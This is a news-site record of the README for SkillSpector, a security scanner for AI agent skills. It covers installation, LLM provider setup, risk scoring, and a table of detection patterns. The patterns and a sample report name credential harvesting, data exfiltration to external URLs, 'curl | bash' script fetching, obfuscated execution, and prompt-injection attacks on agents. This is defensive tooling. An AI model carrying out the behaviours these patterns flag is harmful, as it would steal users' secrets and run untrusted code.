{"slug": "skillspector", "title": "SkillSpector", "summary": "NVIDIA released SkillSpector, an open-source security scanner for AI agent skills that detects vulnerabilities, malicious patterns, and security risks before installation. The tool addresses research showing 26.1% of skills contain vulnerabilities and 5.2% show likely malicious intent, supporting multiple input formats and output types for integration into development workflows.", "body_md": "**Security scanner for AI agent skills.** Detect vulnerabilities, malicious patterns, and security risks before installing agent skills.\n\nAI agent skills (used by Claude Code, Codex CLI, Gemini CLI, etc.) execute with implicit trust and minimal vetting. Research shows that **26.1% of skills contain vulnerabilities** and **5.2% show likely malicious intent**.\n\nSkillSpector helps you answer: **\"Is this skill safe to install?\"**\n\n— Architecture, package layout, and how to extend the analyzer pipeline.[Development guide](/NVIDIA/SkillSpector/blob/main/docs/DEVELOPMENT.md)\n\n**Multi-format input**: Scan Git repos, URLs, zip files, directories, or single files** 64 vulnerability patterns**across 16 categories: prompt injection, data exfiltration, privilege escalation, supply chain, excessive agency, output handling, system prompt leakage, memory poisoning, tool misuse, rogue agent, trigger abuse, dangerous code (AST), taint tracking, YARA signatures, MCP least privilege, and MCP tool poisoning**Two-stage analysis**: Fast static analysis + optional LLM semantic evaluation** Live vulnerability lookups**: SC4 queries[OSV.dev](https://osv.dev)for real-time CVE data with automatic offline fallback** Multiple output formats**: Terminal, JSON, Markdown, and SARIF reports** Risk scoring**: 0-100 score with severity labels and clear recommendations\n\nCreate and activate a virtual environment first (all `make`\n\ntargets assume the venv is active). Use **uv** or **pip**; the Makefile uses `uv`\n\nif available, otherwise `pip`\n\n.\n\n```\n# Clone the repository\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\n\n# Create and activate virtual environment\nuv venv .venv && source .venv/bin/activate\n# or: python3 -m venv .venv && source .venv/bin/activate\n\n# Install for production use\nmake install\n\n# Or install with development dependencies\nmake install-dev\n# Scan a local skill directory\nskillspector scan ./my-skill/\n\n# Scan a single SKILL.md file\nskillspector scan ./SKILL.md\n\n# Scan a Git repository\nskillspector scan https://github.com/user/my-skill\n\n# Scan a zip file\nskillspector scan ./my-skill.zip\n# Terminal output (default) - pretty formatted\nskillspector scan ./my-skill/\n\n# JSON output - machine readable\nskillspector scan ./my-skill/ --format json --output report.json\n\n# Markdown output - for documentation\nskillspector scan ./my-skill/ --format markdown --output report.md\n\n# SARIF output - for CI/CD integration and IDE tooling\nskillspector scan ./my-skill/ --format sarif --output report.sarif\n```\n\nFor the best results, configure an OpenAI-compatible LLM endpoint for\nsemantic analysis. Pick a provider with `SKILLSPECTOR_PROVIDER`\n\n; each\nships its own bundled default model. SkillSpector also works against\nlocal OpenAI-compatible servers (Ollama, vLLM, llama.cpp) and managed\ninference gateways.\n\nProvider (`SKILLSPECTOR_PROVIDER` ) |\nCredential env var | Endpoint | Default model |\n|---|---|---|---|\n`openai` |\n`OPENAI_API_KEY` (+ optional `OPENAI_BASE_URL` ) |\napi.openai.com (or any OpenAI-compatible URL) | `gpt-5.4` |\n`anthropic` |\n`ANTHROPIC_API_KEY` |\napi.anthropic.com | `claude-opus-4-6` |\n`nv_build` |\n`NVIDIA_INFERENCE_KEY` |\nbuild.nvidia.com | `deepseek-ai/deepseek-v4-flash` |\n\n```\n# Stock OpenAI\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=sk-...\nskillspector scan ./my-skill/\n\n# Anthropic\nexport SKILLSPECTOR_PROVIDER=anthropic\nexport ANTHROPIC_API_KEY=sk-ant-...\nskillspector scan ./my-skill/\n\n# NVIDIA build.nvidia.com\nexport SKILLSPECTOR_PROVIDER=nv_build\nexport NVIDIA_INFERENCE_KEY=nvapi-...\nskillspector scan ./my-skill/\n\n# Local Ollama or any OpenAI-compatible endpoint\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=ollama\nexport OPENAI_BASE_URL=http://localhost:11434/v1\nexport SKILLSPECTOR_MODEL=llama3.1:8b\nskillspector scan ./my-skill/\n\n# Override the provider's default model\nexport SKILLSPECTOR_MODEL=gpt-5.2\nskillspector scan ./my-skill/\n\n# Skip LLM analysis (faster, static analysis only)\nskillspector scan ./my-skill/ --no-llm\n```\n\nSkillSpector detects **64 vulnerability patterns** across 16 categories:\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| P1 | Instruction Override | HIGH | Commands to ignore safety constraints |\n| P2 | Hidden Instructions | HIGH | Malicious directives in comments/invisible text |\n| P3 | Exfiltration Commands | HIGH | Instructions to transmit context externally |\n| P4 | Behavior Manipulation | MEDIUM | Subtle instructions altering agent decisions |\n| P5 | Harmful Content | CRITICAL | Instructions that could cause physical harm |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| E1 | External Transmission | MEDIUM | Sending data to external URLs |\n| E2 | Env Variable Harvesting | HIGH | Collecting API keys and secrets |\n| E3 | File System Enumeration | MEDIUM | Scanning directories for sensitive files |\n| E4 | Context Leakage | HIGH | Transmitting conversation context externally |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| PE1 | Excessive Permissions | LOW | Requesting access beyond stated functionality |\n| PE2 | Sudo/Root Execution | MEDIUM | Invoking elevated system privileges |\n| PE3 | Credential Access | HIGH | Reading SSH keys, tokens, passwords |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| SC1 | Unpinned Dependencies | LOW | No version constraints on packages |\n| SC2 | External Script Fetching | HIGH | curl | bash and remote code execution |\n| SC3 | Obfuscated Code | HIGH | Base64/hex encoded execution |\n| SC4 | Known Vulnerable Dependencies | HIGH | Dependencies with known CVEs (live OSV.dev lookup) |\n| SC5 | Abandoned Dependencies | MEDIUM | Unmaintained packages without security updates |\n| SC6 | Typosquatting | HIGH | Package names similar to popular packages |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| EA1 | Unrestricted Tool Access | HIGH | Unfettered tool access without constraints |\n| EA2 | Autonomous Decision Making | HIGH | High-impact decisions without human-in-the-loop |\n| EA3 | Scope Creep | MEDIUM | Capabilities extending beyond stated purpose |\n| EA4 | Unbounded Resource Access | MEDIUM | No rate limits or quotas on resource consumption |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| OH1 | Unvalidated Output Injection | HIGH | Model output used without sanitization |\n| OH2 | Cross-Context Output | MEDIUM | Output flows across trust boundaries without validation |\n| OH3 | Unbounded Output | MEDIUM | No limits on output size or generation rate |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| P6 | Direct Leakage | HIGH | Instructions that expose system prompts or internal rules |\n| P7 | Indirect Extraction | MEDIUM | Extraction via rephrasing, translation, or side-channels |\n| P8 | Tool-Based Exfiltration | HIGH | System prompts exfiltrated via file writes or network requests |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| MP1 | Persistent Context Injection | HIGH | Content designed to persist across interactions |\n| MP2 | Context Window Stuffing | MEDIUM | Filler content displacing safety constraints |\n| MP3 | Memory Manipulation | HIGH | Tampering with agent memory or stored state |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| TM1 | Tool Parameter Abuse | HIGH | Crafted parameters for unintended behavior (shell=True, --force) |\n| TM2 | Chaining Abuse | HIGH | Tool chains that bypass individual safety checks |\n| TM3 | Unsafe Defaults | MEDIUM | Overly permissive defaults (disabled TLS, no auth) |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| RA1 | Self-Modification | CRITICAL | Modifying own code or configuration at runtime |\n| RA2 | Session Persistence | HIGH | Unauthorized persistence via cron jobs or startup scripts |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| TR1 | Overly Broad Trigger | MEDIUM | Trigger patterns matching common words |\n| TR2 | Shadow Command Trigger | HIGH | Triggers that shadow built-in commands or other skills |\n| TR3 | Keyword Baiting Trigger | MEDIUM | Generic triggers designed to maximize activation |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| AST1 | exec() Call | CRITICAL | Direct exec() enabling arbitrary code execution |\n| AST2 | eval() Call | HIGH | Direct eval() evaluating arbitrary expressions |\n| AST3 | Dynamic Import | HIGH | __import__() loading arbitrary modules at runtime |\n| AST4 | subprocess Call | HIGH | External command execution via subprocess |\n| AST5 | os.system / exec-family | HIGH | Shell commands via os module |\n| AST6 | compile() Call | MEDIUM | Code object creation from strings |\n| AST7 | Dynamic getattr() | MEDIUM | Arbitrary attribute access with non-literal names |\n| AST8 | Dangerous Execution Chain | CRITICAL | exec/eval combined with dynamic source (network, encoded data) |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| TT1 | Direct Taint Flow | HIGH | Data flows directly from a source to a sink without sanitization |\n| TT2 | Variable-Mediated Taint Flow | MEDIUM | Data flows from source to sink through intermediate variables |\n| TT3 | Credential Exfiltration Chain | CRITICAL | Credentials (env vars, secrets) flow to network output sinks |\n| TT4 | File Read to Network Exfiltration | HIGH | File contents flow to network output sinks |\n| TT5 | External Input to Code Execution | CRITICAL | Network or user input flows to exec/eval/subprocess sinks |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| YR1 | Malware Match | CRITICAL | YARA rule match for known malware signatures |\n| YR2 | Webshell Match | CRITICAL | YARA rule match for webshell patterns |\n| YR3 | Cryptominer Match | HIGH | YARA rule match for crypto mining indicators |\n| YR4 | Hack Tool / Exploit Match | HIGH | YARA rule match for hack tools or exploit code |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| LP1 | Underdeclared Capability | HIGH | Code uses capabilities not listed in declared permissions |\n| LP2 | Wildcard Permission | MEDIUM | Permission list contains wildcards (*, all, full, any) |\n| LP3 | Missing Permission Declaration | MEDIUM | No permissions field but code has detectable capabilities |\n| LP4 | Overdeclared Permission | LOW | Permission declared but no corresponding code capability found |\n\n| ID | Pattern | Severity | Description |\n|---|---|---|---|\n| TP1 | Hidden Instructions | HIGH | Hidden directives in metadata (HTML comments, zero-width chars, base64, data URIs) |\n| TP2 | Unicode Deception | HIGH | Homoglyphs, RTL overrides, mixed-script identifiers in tool metadata |\n| TP3 | Parameter Description Injection | MEDIUM | Injection patterns in parameter definitions (overrides, system tokens, malicious defaults) |\n| TP4 | Description-Behavior Mismatch | MEDIUM | Declared tool description does not match actual code behavior (LLM-powered) |\n\nAll detected patterns are listed in the tables above.\n\n**CRITICAL issues**: +50 points** HIGH issues**: +25 points** MEDIUM issues**: +10 points** LOW issues**: +5 points** Executable scripts**: 1.3x multiplier\n\n| Score | Severity | Recommendation |\n|---|---|---|\n| 0-20 | LOW | SAFE |\n| 21-50 | MEDIUM | CAUTION |\n| 51-80 | HIGH | DO NOT INSTALL |\n| 81-100 | CRITICAL | DO NOT INSTALL |\n\n```\n SkillSpector Security Report  v2.0.0\n\nSkill: suspicious-skill\nSource: ./suspicious-skill/\nScanned: 2026-01-29 10:30:00 UTC\n\n        Risk Assessment\n Metric          Value\n Score           78/100\n Severity        HIGH\n Recommendation  DO NOT INSTALL\n\n        Components (3)\n File              Type      Lines  Executable\n SKILL.md          markdown    142  No\n scripts/sync.py   python       87  Yes\n requirements.txt  text          3  No\n\nIssues (2)\n\n  HIGH: Env Variable Harvesting (E2)\n    Location: scripts/sync.py:23\n    Finding: for key, val in os.environ.items():...\n    Confidence: 94%\n    Explanation: This code collects environment variables containing\n    API keys and secrets, then sends them to an external server.\n\n  HIGH: External Transmission (E1)\n    Location: scripts/sync.py:45\n    Finding: requests.post(\"https://api.skill.io/env\"...\n    Confidence: 89%\n    Explanation: Data is being sent to an external server. Combined\n    with env harvesting above, this indicates credential exfiltration.\n```\n\n| Variable | Description | Required |\n|---|---|---|\n`SKILLSPECTOR_PROVIDER` |\nActive LLM provider: `openai` , `anthropic` , or `nv_build` . Each provider has its own bundled `model_registry.yaml` and default model (see the LLM Analysis table above). Defaults to `nv_build` . |\nOptional |\n`NVIDIA_INFERENCE_KEY` |\nCredential for the `nv_build` provider (build.nvidia.com). |\nRequired for LLM analysis when `SKILLSPECTOR_PROVIDER=nv_build` |\n`OPENAI_API_KEY` |\nCredential for the OpenAI provider (`SKILLSPECTOR_PROVIDER=openai` ). Also serves as the tier-2 fallback in the credential waterfall when the active provider returns no credentials. |\nRequired for LLM analysis when `SKILLSPECTOR_PROVIDER=openai` |\n`OPENAI_BASE_URL` |\nOverride the OpenAI endpoint (e.g. point at Ollama). | Optional |\n`ANTHROPIC_API_KEY` |\nCredential for the Anthropic provider (`SKILLSPECTOR_PROVIDER=anthropic` ). |\nRequired for LLM analysis when `SKILLSPECTOR_PROVIDER=anthropic` |\n`SKILLSPECTOR_MODEL` |\nOverride the active provider's default model. See the LLM Analysis table for each provider's default. | Optional |\n`SKILLSPECTOR_MODEL_REGISTRY` |\nOverride the bundled per-provider YAML registry (`src/skillspector/providers/<provider>.yaml` ) with a custom path. |\nOptional |\n`SKILLSPECTOR_LOG_LEVEL` |\nLog level: `DEBUG` , `INFO` , `WARNING` , `ERROR` (default: `WARNING` ). |\nOptional |\n\n```\nskillspector scan --help\n\nOptions:\n  -f, --format [terminal|json|markdown|sarif]  Output format [default: terminal]\n  -o, --output PATH                            Output file path\n  --no-llm                                     Skip LLM analysis (static only)\n  -V, --verbose                                Show detailed progress\n  --help                                       Show this message and exit\n```\n\nAll `make`\n\ntargets assume a virtual environment is already created and activated. The Makefile uses **uv** if available, else **pip**.\n\n```\n# Clone, create venv, activate, install dev dependencies\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\nuv venv .venv && source .venv/bin/activate\n# or: python3 -m venv .venv && source .venv/bin/activate\nmake install-dev\n\n# Run tests\nmake test\n\n# Run tests with coverage\nmake test-cov\n\n# Run linting\nmake lint\n\n# Format code\nmake format\n```\n\nSkillSpector uses a two-stage detection pipeline:\n\n- Fast regex-based pattern matching across 11 static analyzers\n- AST-based behavioral analysis detecting dangerous calls (exec, eval, subprocess, etc.)\n- Live vulnerability lookups via OSV.dev for known CVEs in dependencies\n- Scans all files in the skill\n- High recall (catches most issues)\n- Moderate precision (some false positives)\n\n- Evaluates context and intent\n- Filters false positives\n- Provides human-readable explanations\n- Improves precision to ~87%\n\nThe LLM prompt includes anti-jailbreak protections to prevent malicious skills from manipulating the analysis.\n\nSC4 uses the [OSV.dev](https://osv.dev) API to check dependencies against the full Open Source Vulnerabilities database — covering tens of thousands of advisories across PyPI and npm.\n\n**No API key required**— OSV.dev is free and unauthenticated.** Batch queries**— all dependencies are checked in a single HTTP call.** Automatic fallback**— if OSV.dev is unreachable (air-gapped/offline), a small built-in fallback list is used.** Caching**— results are cached in-memory for 1 hour to avoid redundant API calls during a session.\n\nThe tool requires outbound HTTPS access to `api.osv.dev`\n\nfor live vulnerability data. When that is not available, findings are limited to the static fallback list.\n\n**Non-English content**: May miss patterns in other languages** Image-based attacks**: Cannot analyze text in images** Encrypted/binary code**: Cannot analyze compiled or encrypted content** Runtime behavior**: Static analysis only, no dynamic execution** Offline SC4**: Without network access to`api.osv.dev`\n\n, SC4 uses a small static fallback list\n\nBased on research from \"Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale\" (Liu et al., 2026):\n\n**Dataset**: 42,447 skills from major marketplaces** Vulnerable**: 26.1% contain at least one vulnerability** High-severity**: 5.2% show likely malicious intent** Key finding**: Skills with executable scripts are 2.12x more likely to be vulnerable\n\n``` python\nfrom skillspector import graph\n\n# Invoke the LangGraph workflow\nresult = graph.invoke({\n    \"input_path\": \"/path/to/skill\",\n    \"output_format\": \"json\",   # terminal, json, markdown, or sarif\n    \"use_llm\": True,           # False for static-only analysis\n})\n\n# Access results\nprint(f\"Risk Score: {result['risk_score']}/100\")\nprint(f\"Severity: {result['risk_severity']}\")\nprint(f\"Recommendation: {result['risk_recommendation']}\")\n\nfor finding in result[\"filtered_findings\"]:\n    print(f\"[{finding['severity']}] {finding['rule_id']}: {finding['message']}\")\n```\n\nApache License 2.0 - see [LICENSE](/NVIDIA/SkillSpector/blob/main/LICENSE) for details.\n\nContributions are welcome! Please read our contributing guidelines and submit pull requests.\n\n**Issues**:[GitHub Issues](https://github.com/NVIDIA/skillspector/issues)", "url": "https://wpnews.pro/news/skillspector", "canonical_source": "https://github.com/NVIDIA/SkillSpector", "published_at": "2026-06-12 21:49:49+00:00", "updated_at": "2026-06-12 22:15:36.948596+00:00", "lang": "en", "topics": ["ai-safety", "ai-tools", "ai-agents", "ai-research", "ai-infrastructure"], "entities": ["NVIDIA", "SkillSpector", "Claude Code", "Codex CLI", "Gemini CLI", "OpenAI", "Anthropic", "Ollama"], "alternates": {"html": "https://wpnews.pro/news/skillspector", "markdown": "https://wpnews.pro/news/skillspector.md", "text": "https://wpnews.pro/news/skillspector.txt", "jsonld": "https://wpnews.pro/news/skillspector.jsonld"}}